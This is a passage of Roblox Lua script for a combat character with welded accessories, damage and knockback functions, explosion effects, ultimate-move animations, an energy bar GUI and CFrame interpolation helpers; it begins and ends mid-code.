0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3)) TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0)) CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5)) local DBlade = {} local DBladeWelds = {} for _,c in pairs(demon:children()) do if c.className == "Part" then table.insert(DBlade, c) end end for _,c in pairs(demon:children()) do if c.className == "Weld" then table.insert(DBladeWelds, c) print(c) end end demon.Parent = nil paly = game.Players.LocalPlayer char = paly.Character torso = char.Torso neck = char.Torso.Neck hum = char.Humanoid Player = game:GetService("Players").LocalPlayer local mouse = Player:GetMouse() Character = Player.Character tors = Character.Torso lleg = Character["Left Leg"] root = Character.HumanoidRootPart hed = Character.Head rleg = Character["Right Leg"] rarm = Character["Right Arm"] larm = Character["Left Arm"] local Effects = {} attack = false vt = Vector3.new bc = BrickColor.new br = BrickColor.random it = Instance.new cf = CFrame.new euler = CFrame.fromEulerAnglesXYZ angles = CFrame.Angles matr = math.random local basiccooldown = math.huge local ultcooldown = math.huge local secondcooldown = math.huge local thirdcooldown = math.huge local boll = Instance.new("Part",game.Lighting) boll.Transparency = 0.5 boll.Material = "Neon" boll.BrickColor = tors.BrickColor boll.Anchored = true boll.Size = vt(1,1,1) boll.Shape = "Ball" boll.CanCollide = false local shur = Instance.new("Part",game.Lighting) shur.Transparency = 0 shur.Material = "Neon" shur.BrickColor = tors.BrickColor shur.Anchored = true shur.Size = vt(5,0.2,5) shur.CanCollide = false local Meshshur = Instance.new("CylinderMesh",shur) local boll = Instance.new("Part",game.Lighting) boll.Transparency = 0.5 boll.Material = "Neon" boll.BrickColor = bc("Bright red") boll.Anchored = true boll.Size = vt(1,1,1) boll.Shape = "Ball" boll.CanCollide = false local shur = Instance.new("Part",game.Lighting) shur.Transparency = 0 shur.Material = "Neon" shur.BrickColor = bc("Bright red") shur.Anchored = true shur.Size = vt(5,0.2,5) shur.CanCollide = false local Meshshur = Instance.new("CylinderMesh",shur) Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) if hit.Parent==nil then return end h=hit.Parent:FindFirstChild("Humanoid") for _,v in pairs(hit.Parent:children()) do if v:IsA("Humanoid") then h=v end end if hit.Parent.Parent:FindFirstChild("Torso")~=nil then h=hit.Parent.Parent:FindFirstChild("Humanoid") end if hit.Parent.className=="Hat" then hit=hit.Parent.Parent:findFirstChild("Head") end if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then return end]] -- hs(hit,1.2) c=Instance.new("ObjectValue") c.Name="creator" c.Value=game:service("Players").LocalPlayer c.Parent=h game:GetService("Debris"):AddItem(c,.5) Damage=math.random(minim,maxim) -- h:TakeDamage(Damage) blocked=false block=hit.Parent:findFirstChild("Block") if block~=nil then print(block.className) if block.className=="NumberValue" then if block.Value>0 then blocked=true if decreaseblock==nil then block.Value=block.Value-1 end end end if block.className=="IntValue" then if block.Value>0 then blocked=true if decreaseblock~=nil then block.Value=block.Value-1 end end end end if blocked==false then -- h:TakeDamage(Damage) h.Health=h.Health-Damage showDamage(hit.Parent,Damage,.5,TorsoColor) else h.Health=h.Health-(Damage/2) showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) end if Type=="Knockdown" then hum=hit.Parent.Humanoid hum.PlatformStand=true coroutine.resume(coroutine.create(function(HHumanoid) swait(1) HHumanoid.PlatformStand=false end),hum) local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) local bodvol=Instance.new("BodyVelocity") bodvol.velocity=angle*knockback bodvol.P=5000 bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) bodvol.Parent=hit rl=Instance.new("BodyAngularVelocity") rl.P=3000 rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) rl.Parent=hit game:GetService("Debris"):AddItem(bodvol,.5) game:GetService("Debris"):AddItem(rl,.5) elseif Type=="Normal" then vp=Instance.new("BodyVelocity") vp.P=500 vp.maxForce=Vector3.new(math.huge,0,math.huge) -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback if KnockbackType==1 then vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 elseif KnockbackType==2 then vp.velocity=Property.CFrame.lookVector*knockback end if knockback>0 then vp.Parent=hit.Parent.Torso end game:GetService("Debris"):AddItem(vp,.5) elseif Type=="Up" then local bodyVelocity=Instance.new("BodyVelocity") bodyVelocity.velocity=vt(0,10,0) bodyVelocity.P=1000 bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) bodyVelocity.Parent=hit game:GetService("Debris"):AddItem(bodyVelocity,1) rl=Instance.new("BodyAngularVelocity") rl.P=3000 rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) rl.Parent=hit game:GetService("Debris"):AddItem(rl,.5) elseif Type=="Snare" then bp=Instance.new("BodyPosition") bp.P=2000 bp.D=100 bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) bp.position=hit.Parent.Torso.Position bp.Parent=hit.Parent.Torso game:GetService("Debris"):AddItem(bp,1) elseif Type=="Target" then if Targetting==false then ZTarget=hit.Parent.Torso coroutine.resume(coroutine.create(function(Part) swait(5) end),ZTarget) TargHum=ZTarget.Parent:findFirstChild("Humanoid") targetgui=Instance.new("BillboardGui") targetgui.Parent=ZTarget targetgui.Size=UDim2.new(10,100,10,100) targ=Instance.new("ImageLabel") targ.Parent=targetgui targ.BackgroundTransparency=1 targ.Image="rbxassetid://4834067" targ.Size=UDim2.new(1,0,1,0) cam.CameraType="Scriptable" cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) Targetting=true RocketTarget=ZTarget for i=1,Property do --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then swait() end --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) end Targetting=false RocketTarget=nil targetgui.Parent=nil cam.CameraType="Custom" end end debounce=Instance.new("BoolValue") debounce.Name="DebounceHit" debounce.Parent=hit.Parent debounce.Value=true game:GetService("Debris"):AddItem(debounce,Delay) c=Instance.new("ObjectValue") c.Name="creator" c.Value=Player c.Parent=h game:GetService("Debris"):AddItem(c,.5) CRIT=false hitDeb=true AttackPos=6 end end showDamage=function(Char,Dealt,du,Color) m=Instance.new("Model") m.Name=tostring(Dealt) h=Instance.new("Humanoid") h.Health=0 h.MaxHealth=0 h.Parent=m c=Instance.new("Part") c.Transparency=0 c.Material = "Neon" c.BrickColor=bc("New Yeller") c.Name="Head" c.TopSurface=0 c.BottomSurface=0 local tick = Instance.new("Sound",c) tick.SoundId = "rbxassetid://12221976" tick.Volume = 5 tick.Pitch = 4 tick:Play() c.formFactor="Plate" c.Size=Vector3.new(1,.4,1) ms=Instance.new("CylinderMesh") ms.Scale=Vector3.new(.8,.8,.8) if CRIT==true then ms.Scale=Vector3.new(1,1.25,1) end ms.Parent=c c.Reflectance=0 Instance.new("BodyGyro").Parent=c c.Parent=m if Char:findFirstChild("Head")~=nil then c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) elseif Char.Parent:findFirstChild("Head")~=nil then c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) end f=Instance.new("BodyPosition") f.P=2000 f.D=100 f.maxForce=Vector3.new(math.huge,math.huge,math.huge) f.position=c.Position+Vector3.new(0,3,0) f.Parent=c game:GetService("Debris"):AddItem(m,.5+du) c.CanCollide=false m.Parent=workspace c.CanCollide=false p:Destroy() end function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) for _, c in pairs(workspace:children()) do local hum = c:findFirstChild("Humanoid") if hum ~= nil then local head = c:findFirstChild("Torso") if head ~= nil then local targ = head.Position - Part.Position local mag = targ.magnitude if mag <= magni and c.Name ~= Player.Name then Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) end end end end end function Explode(rad,par) local expart = Instance.new("Part",script.Parent) local expart2 = Instance.new("Part",script.Parent) local partMesh = Instance.new("SpecialMesh",expart) partMesh.MeshType = "Sphere" local partMesh2 = Instance.new("SpecialMesh",expart2) partMesh2.MeshType = "Sphere" local expld = Instance.new("Explosion", script.Parent) local plode = Instance.new("Sound",expart) plode.SoundId = "rbxassetid://165970126" plode.Volume = 1 plode.Pitch = 1 plode.Looped = false plode:Play() expld.BlastRadius = rad expld.Position = par.Position partMesh.Scale = vt(rad,rad,rad) expart.Size = vt(1,1,1)*1.5 expart.Transparency = 0 expart.Anchored = true expart.Material = "Neon" expart.BrickColor = bc("White") expart.CFrame = par.CFrame partMesh2.Scale = vt(rad,rad,rad) expart2.Size = vt(1.15,1.15,1.15)*1.5 expart2.Transparency = 0.5 expart2.Anchored = true expart2.Material = "Neon" expart2.BrickColor = bc("New Yeller") expart2.CFrame = par.CFrame local value = 1*rad/6.5 par:Destroy() for i = 0, 100 do partMesh.Scale = partMesh.Scale + vt(value,value,value) expart.CFrame = expart.CFrame partMesh2.Scale = partMesh2.Scale + vt(value,value,value) expart2.CFrame = expart.CFrame value = value - 0.035*rad/6.5 if value < 1 then value = 0.25 expart.Transparency = expart.Transparency + 0.025 expart2.Transparency = expart2.Transparency + 0.025 end wait() end plode.Parent = nil expart.Parent = nil expart2.Parent = nil expld.Parent = nil end function ExplodeMass(rad,par) local expart = Instance.new("Part",script.Parent) local expart2 = Instance.new("Part",script.Parent) local partMesh = Instance.new("SpecialMesh",expart) partMesh.MeshType = "Sphere" local partMesh2 = Instance.new("SpecialMesh",expart2) partMesh2.MeshType = "Sphere" local expld = Instance.new("Explosion", script.Parent) local plode = Instance.new("Sound",workspace) plode.SoundId = "rbxassetid://579687077" plode.Volume = 1 plode.Pitch = 0.85 plode.Looped = false plode:Play() local plodez = Instance.new("Sound",workspace) plodez.SoundId = "rbxassetid://288641686" plodez.Volume = 1 plodez.Pitch = 0.75 plodez.Looped = false plodez:Play() local plodeza = Instance.new("Sound",workspace) plodeza.SoundId = "rbxassetid://197161452" plodeza.Volume = 0.85 plodeza.Pitch = 0.65 plodeza.Looped = false plodeza:Play() local plodezar = Instance.new("Sound",workspace) plodezar.SoundId = "rbxassetid://197161452" plodezar.Volume = 0.85 plodezar.Pitch = 0.25 plodezar.Looped = false plodezar:Play() expld.BlastRadius = rad expld.Position = par.Position wait(0.5) par:Destroy() plode.Parent = nil expart.Parent = nil expart2.Parent = nil expld.Parent = nil end function ExplodeMassen(rad,par) local expart = Instance.new("Part",script.Parent) local expart2 = Instance.new("Part",script.Parent) local partMesh = Instance.new("SpecialMesh",expart) partMesh.MeshType = "Sphere" local partMesh2 = Instance.new("SpecialMesh",expart2) partMesh2.MeshType = "Sphere" local expld = Instance.new("Explosion", script.Parent) local plode = Instance.new("Sound",workspace) plode.SoundId = "rbxassetid://579687077" plode.Volume = 1 plode.Pitch = 0.85 plode.Looped = false plode:Play() local plodez = Instance.new("Sound",workspace) plodez.SoundId = "rbxassetid://288641686" plodez.Volume = 1 plodez.Pitch = 0.75 plodez.Looped = false plodez:Play() local plodeza = Instance.new("Sound",workspace) plodeza.SoundId = "rbxassetid://197161452" plodeza.Volume = 0.85 plodeza.Pitch = 0.65 plodeza.Looped = false plodeza:Play() local plodezar = Instance.new("Sound",workspace) plodezar.SoundId = "rbxassetid://197161452" plodezar.Volume = 0.85 plodezar.Pitch = 0.25 plodezar.Looped = false plodezar:Play() expld.BlastRadius = rad expld.Position = par.Position partMesh.Scale = vt(rad,rad,rad) expart.Size = vt(1,1,1)*1.5 expart.Transparency = 0 expart.Anchored = true expart.Material = "Neon" expart.BrickColor = bc("White") expart.CFrame = par.CFrame partMesh2.Scale = vt(rad,rad,rad) expart2.Size = vt(1.15,1.15,1.15)*1.5 expart2.Transparency = 0.5 expart2.Anchored = true expart2.Material = "Neon" expart2.BrickColor = tors.BrickColor expart2.CFrame = par.CFrame local value = 1*rad/10 par:Destroy() for i = 0, 300 do partMesh.Scale = partMesh.Scale + vt(value,value,value) expart.CFrame = expart.CFrame partMesh2.Scale = partMesh2.Scale + vt(value,value,value) expart2.CFrame = expart.CFrame value = value - 0.0175*rad/10 if value <= 0 then expart.Transparency = expart.Transparency + 0.0125 expart2.Transparency = expart2.Transparency + 0.0125 value = 0.25 end wait() end plode.Parent = nil expart.Parent = nil expart2.Parent = nil expld.Parent = nil end local Ultramode = false function Transform() if basiccooldown >= 5 then hum.WalkSpeed = 0 local sparta = Instance.new("Part",workspace) local msher = Instance.new("SpecialMesh",sparta) msher.MeshType = "Sphere" msher.Scale = vt(1,1,1) wit = BrickColor.new("Really black").Color local glowz = Instance.new("ParticleEmitter") glowz.LightEmission = 1 glowz.Parent = sparta glowz.Texture = "rbxassetid://284205403" glowz.Color = ColorSequence.new(wit) glowz.Size = NumberSequence.new(15) glowz.Speed = NumberRange.new(100,250) glowz.LockedToPart = false glowz.Transparency = NumberSequence.new(0.75) glowz.RotSpeed = NumberRange.new(-2000,2000) glowz.Lifetime = NumberRange.new(1) glowz.Rate = 50000 glowz.VelocitySpread = 9001 local sa2 = Instance.new("Sound",sparta) sa2.SoundId = "rbxassetid://93724183" sa2.Pitch = 0.5 sa2.Volume = 5 sa2.Looped = false sa2:Play() local saz2 = Instance.new("Sound",sparta) saz2.SoundId = "rbxassetid://199145659" saz2.Pitch = 0.45 saz2.Volume = 5*2 saz2.Looped = false local plode = Instance.new("Sound",sparta) plode.SoundId = "rbxassetid://153274423" plode.Volume = 5 plode.Pitch = 1 plode.Looped = false local ploder = Instance.new("Sound",sparta) ploder.SoundId = "rbxassetid://130972023" ploder.Volume = 5 ploder.Pitch = 1 ploder.Looped = false sparta.Size = vt(1,1,1) sparta.BrickColor = BrickColor.new("Really black") sparta.Material = "Neon" sparta.Transparency = 0 sparta.Anchored = true sparta.CanCollide = false sparta.CFrame = tors.CFrame sparta.Rotation = vt(0,0,0) local value2 = 2 for i = 0, 24 do value2 = value2 - 0.065 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 + 0.06575 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 - 0.2 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 + 0.275 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 - 0.4 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 + 0.475 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 - 0.6 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 + 0.675 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 - 0.7 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end for i = 0, 10 do value2 = value2 + 0.775 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end saz2:Play() wait(2.75) plode:Play() ploder:Play() Ultramode = true for i = 0, 75 do value2 = value2 - 0.0575 glowz.Rate = 0 sparta.Transparency = sparta.Transparency + 0.025 msher.Scale = msher.Scale + vt(value2,value2,value2) wait() end hum.WalkSpeed = 16 sparta:Destroy() end end function Blaze2() if ultcooldown >= 30 then local sloc = Instance.new("Part",workspace) local msh = Instance.new("SpecialMesh",sloc) msh.MeshType = "Sphere" sloc.Size = vt(1,1,1) sloc.Transparency = 1 sloc.BrickColor = tors.BrickColor sloc.Position = hed.Position + vt(0,0.1,0) sloc.CanCollide = false sloc.Shape = "Ball" sloc.Anchored = true sloc.Material = "Neon" local s = Instance.new("Sound",char) s.SoundId = "rbxassetid://289315275" s.Pitch = 1 s.Volume = 2.75 s.Looped = false s:Play() local s2 = Instance.new("Sound",char) s2.SoundId = "rbxassetid://671759140" s2.Pitch = 0.425 s2.Volume = 1 s2.Looped = false s2:Play() local val = 0.65*5 for i = 0 , 75 do sloc.Transparency = sloc.Transparency - 0.035 msh.Scale = msh.Scale + vt(val,val,val) val = val - 0.0075*5 wait() end wait(2) CamShake(RootPart,27,2.5,65) local sen = Instance.new("Sound",char) sen.SoundId = "rbxassetid://289315275" sen.Pitch = 1 sen.Volume = 2.75 sen.Looped = false sen:Play() local tick = Instance.new("Sound",char) tick.SoundId = "rbxassetid://446876721" tick.Volume = 2.5 tick.Pitch = 0.5 tick:Play() msh.Scale = msh.Scale - vt(1,1,1) sloc.Transparency = sloc.Transparency + 0.015 local spart = Instance.new("Part",workspace) local msh2 = Instance.new("SpecialMesh",spart) msh2.MeshType = "Sphere" spart.Size = vt(2,2,2) spart.Shape = "Ball" spart.BrickColor = tors.BrickColor spart.Material = "Neon" spart.Transparency = 0 spart.Anchored = false msh2.Scale = msh.Scale/2 spart.Rotation = hed.Rotation spart.CanCollide = false spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0)) local bv = Instance.new("BodyVelocity") bv.maxForce = Vector3.new(1e9, 1e9, 1e9) bv.velocity = mouse.Hit.lookVector * 125 bv.Parent = spart sloc:Destroy() wait(0.00001) pewdiepie=spart.Touched:connect(function(hit) ExplodeMassen(100,spart) end) wait(5) sloc:Destroy() tick:Destroy() s:Destroy() sen:Destroy() s2:Destroy() end if ultcooldown < 1 then for i = 0, 29 do ultcooldown = ultcooldown + 1 wait(1) end end end function Blaze() if ultcooldown >= 30 then local ff = Instance.new("ForceField",char) local s = Instance.new("Sound",char) s.SoundId = "rbxassetid://289315275" s.Pitch = 1 s.Volume = 2.75 s.Looped = false s:Play() local s2 = Instance.new("Sound",char) s2.SoundId = "rbxassetid://671759140" s2.Pitch = 0.425 s2.Volume = 1 s2.Looped = false s2:Play() local spart = boll:Clone() local spart2 = shur:Clone() local msh = Instance.new("SpecialMesh",spart) msh.MeshType = "Sphere" spart.Parent = workspace spart.Transparency = 1 spart.Anchored = true spart.Position = tors.Position + vt(0,1,0) spart.Size = spart.Size + vt(1,1,1) for i = 0, 10 do spart.BrickColor = tors.BrickColor spart.Transparency = spart.Transparency + -0.05 spart.Position = tors.Position + vt(0,1,0) spart.Size = spart.Size + vt(3,3,3) wait(0) end for i = 0, 5 do spart.BrickColor = tors.BrickColor spart.Transparency = spart.Transparency + -0.05 spart.Position = tors.Position + vt(0,1,0) spart.Size = spart.Size + vt(2.5,2.5,2.5) wait(0) end for i = 0, 5 do spart.BrickColor = tors.BrickColor spart.Transparency = spart.Transparency + -0.05 spart.Position = tors.Position + vt(0,1,0) spart.Size = spart.Size + vt(1,1,1) wait(0) end for i = 0, 10 do spart.BrickColor = tors.BrickColor wait(0.1) end for i = 0, 20 do spart.BrickColor = tors.BrickColor spart.Transparency = spart.Transparency + 0.05 spart.Position = tors.Position + vt(0,1,0) spart.Size = spart.Size + vt(-5,-5,-5) wait(0) end local sp = spart:Clone() sp.Parent = workspace sp.Position = spart.Position local sp2 = sp:Clone() sp2.Parent = workspace sp2.Transparency = 0.5 local msh2 = sp2.Mesh msh2.Scale = vt(1250,1250,1250) wit = tors.BrickColor.Color local glowz = Instance.new("ParticleEmitter") glowz.LightEmission = 0.75 glowz.Parent = sp2 glowz.Texture = "rbxassetid://284205403" glowz.Color = ColorSequence.new(wit) glowz.Size = NumberSequence.new(50) glowz.Speed = NumberRange.new(425,450) glowz.LockedToPart = false glowz.Transparency = NumberSequence.new(0.75) glowz.RotSpeed = NumberRange.new(-2000,2000) glowz.Lifetime = NumberRange.new(1) glowz.Rate = 50000 glowz.VelocitySpread = 9001 spart2.Parent = workspace spart2.Mesh.Scale = vt(25, 90000, 25) spart2.Position = tors.Position local seen = Instance.new("Sound",char) seen.SoundId = "rbxassetid://445796828" seen.Pitch = 0.75 seen.Volume = 1.75 seen.Looped = true seen:Play() local sen = Instance.new("Sound",char) sen.SoundId = "rbxassetid://289315275" sen.Pitch = 0.98 sen.Volume = 2.65 sen.Looped = false sen:Play() local tick = Instance.new("Sound",char) tick.SoundId = "rbxassetid://446876721" tick.Volume = 5 tick.Pitch = 0.5 tick:Play() local seena = Instance.new("Sound",char) seena.SoundId = "rbxassetid://300916057" seena.Pitch = 0.5 seena.Volume = 2.5 seena.Looped = false seena:Play() spart.Transparency = 0 ExplodeMass(1000,sp) CamShake(RootPart,27,2.5,1000) for i = 0, 450 do spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1)) sp2.Position = spart.Position spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035) spart2.BrickColor = tors.BrickColor msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5) msh.Scale = msh.Scale + vt(50,50,50) sp2.Transparency = sp2.Transparency + 0.0005 spart.Transparency = spart.Transparency + 0.0025 spart2.Transparency = spart2.Transparency + 0.0025 wait(0) end spart:Destroy() seena:Destroy() ff:Destroy() seen:Destroy() sen:Destroy() tick:Destroy() spart2:Destroy() s:Destroy() sp:Destroy() sp2:Destroy() s2:Destroy() end if ultcooldown < 1 then for i = 0, 29 do ultcooldown = ultcooldown + 1 wait(1) end end end -- sin Player=game:GetService("Players").LocalPlayer Character=Player.Character PlayerGui=Player.PlayerGui Backpack=Player.Backpack Torso=Character.Torso Head=Character.Head Humanoid=Character.Humanoid m=Instance.new('Model',Character) LeftArm=Character["Left Arm"] LeftLeg=Character["Left Leg"] RightArm=Character["Right Arm"] RightLeg=Character["Right Leg"] LS=Torso["Left Shoulder"] LH=Torso["Left Hip"] RS=Torso["Right Shoulder"] RH=Torso["Right Hip"] Face = Head.face Neck=Torso.Neck it=Instance.new attacktype=1 vt=Vector3.new cf=CFrame.new euler=CFrame.fromEulerAnglesXYZ angles=CFrame.Angles cloaked=false necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) RootPart=Character.HumanoidRootPart RootJoint=RootPart.RootJoint RootCF=euler(-1.57,0,3.14) attack = false attackdebounce = false deb=false equipped=true hand=false MMouse=nil combo=0 mana=0 trispeed=1 pathtrans=.7 attackmode='none' local idle=0 local Anim="Idle" local Effects={} local gun=false local shoot=false player=nil cloak=false lightcolor='Bright blue' local Color1=Torso.BrickColor local fengui=it("GuiMain") fengui.Parent=Player.PlayerGui fengui.Name="WeaponGUI" local fenframe=it("Frame") fenframe.Parent=fengui fenframe.BackgroundColor3=Color3.new(255,255,255) fenframe.BackgroundTransparency=1 fenframe.BorderColor3=Color3.new(17,17,17) fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0) fenframe.Position=UDim2.new(0.4,0,0.1,0) local fenbarmana1=it("TextLabel") fenbarmana1.Parent=fenframe fenbarmana1.Text=" " fenbarmana1.BackgroundTransparency=0 fenbarmana1.BackgroundColor3=Color3.new(0,0,0) fenbarmana1.SizeConstraint="RelativeXY" fenbarmana1.TextXAlignment="Center" fenbarmana1.TextYAlignment="Center" fenbarmana1.Position=UDim2.new(0,0,0,0) fenbarmana1.Size=UDim2.new(4,0,0.2,0) local fenbarmana2=it("TextLabel") fenbarmana2.Parent=fenframe fenbarmana2.Text=" " fenbarmana2.BackgroundTransparency=0 fenbarmana2.BackgroundColor3=Torso.Color fenbarmana2.SizeConstraint="RelativeXY" fenbarmana2.TextXAlignment="Center" fenbarmana2.TextYAlignment="Center" fenbarmana2.Position=UDim2.new(0,0,0,0) fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0) local fenbarmana3=it("TextLabel") fenbarmana3.Parent=fenframe fenbarmana3.Text=" " fenbarmana3.BackgroundTransparency=0 fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3) fenbarmana3.SizeConstraint="RelativeXY" fenbarmana3.TextXAlignment="Center" fenbarmana3.TextYAlignment="Center" fenbarmana3.Position=UDim2.new(0,0,0,0) fenbarmana3.Size=UDim2.new(0,0,0.2,0) local fenbarmana4=it("TextLabel") fenbarmana4.Parent=fenframe fenbarmana4.Text="Energy("..mana..")" fenbarmana4.BackgroundTransparency=1 fenbarmana4.BackgroundColor3=Color3.new(0,0,0) fenbarmana4.SizeConstraint="RelativeXY" fenbarmana4.TextXAlignment="Center" fenbarmana4.TextYAlignment="Center" fenbarmana4.Position=UDim2.new(0,0,-0.3,0) fenbarmana4.Size=UDim2.new(4,0,0.2,0) fenbarmana4.FontSize="Size9" fenbarmana4.TextStrokeTransparency=0 fenbarmana4.TextColor=BrickColor.new("White") mouse=Player:GetMouse() --save shoulders RSH, LSH=nil, nil --welds RW, LW=Instance.new("Weld"), Instance.new("Weld") RW.Name="Right Shoulder" LW.Name="Left Shoulder" LH=Torso["Left Hip"] RH=Torso["Right Hip"] TorsoColor=Torso.BrickColor function NoOutline(Part) Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 end player=Player ch=Character RSH=ch.Torso["Right Shoulder"] LSH=ch.Torso["Left Shoulder"] -- RSH.Parent=nil LSH.Parent=nil -- RW.Name="Right Shoulder" RW.Part0=ch.Torso RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) RW.C1=cf(0, 0.5, 0) RW.Part1=ch["Right Arm"] RW.Parent=ch.Torso -- LW.Name="Left Shoulder" LW.Part0=ch.Torso LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) LW.C1=cf(0, 0.5, 0) LW.Part1=ch["Left Arm"] LW.Parent=ch.Torso function part(formfactor,parent,reflectance,transparency,brickcolor,name,size) local fp=it("Part") fp.formFactor=formfactor fp.Parent=parent fp.Reflectance=reflectance fp.Transparency=transparency fp.CanCollide=false fp.Locked=true fp.BrickColor=brickcolor fp.Name=name fp.Size=size fp.Position=Torso.Position NoOutline(fp) fp.Material="Neon" fp:BreakJoints() return fp end function mesh(Mesh,part,meshtype,meshid,offset,scale) local mesh=it(Mesh) mesh.Parent=part if Mesh=="SpecialMesh" then mesh.MeshType=meshtype if meshid~="nil" then mesh.MeshId="http://www.roblox.com/asset/?id="..meshid end end mesh.Offset=offset mesh.Scale=scale return mesh end function weld(parent,part0,part1,c0) local weld=it("Weld") weld.Parent=parent weld.Part0=part0 weld.Part1=part1 weld.C0=c0 return weld end local Color1=Torso.BrickColor local bodvel=Instance.new("BodyVelocity") local bg=Instance.new("BodyGyro") function swait(num) if num==0 or num==nil then game:service'RunService'.Stepped:wait(0) else for i=0,num do game:service'RunService'.Stepped:wait(0) end end end so = function(id,par,vol,pit) coroutine.resume(coroutine.create(function() local sou = Instance.new("Sound",par or workspace) sou.Volume=vol sou.Pitch=pit or 1 sou.SoundId=id swait() sou:play() game:GetService("Debris"):AddItem(sou,6) end)) end function clerp(a,b,t) local qa = {QuaternionFromCFrame(a)} local qb = {QuaternionFromCFrame(b)} local ax, ay, az = a.x, a.y, a.z local bx, by, bz = b.x, b.y, b.z local _t = 1-t return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) end function QuaternionFromCFrame(cf) local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() local trace = m00 + m11 + m22 if trace > 0 then local s = math.sqrt(1 + trace) local recip = 0.5/s return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 else local i = 0 if m11 > m00 then i = 1 end if m22 > (i == 0 and m00 or m11) then i = 2 end if i == 0 then local s = math.sqrt(m00-m11-m22+1) local recip = 0.5/s return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip elseif i == 1 then local s = math.sqrt(m11-m22-m00+1) local recip = 0.5/s return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip elseif i == 2 then local s = math.sqrt(m22-m00-m11+1) local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip end end end function QuaternionToCFrame(px, py, pz, x, y, z, w) local xs, ys, zs = x + x, y + y, z + z local wx, wy, wz = w*xs, w*ys, 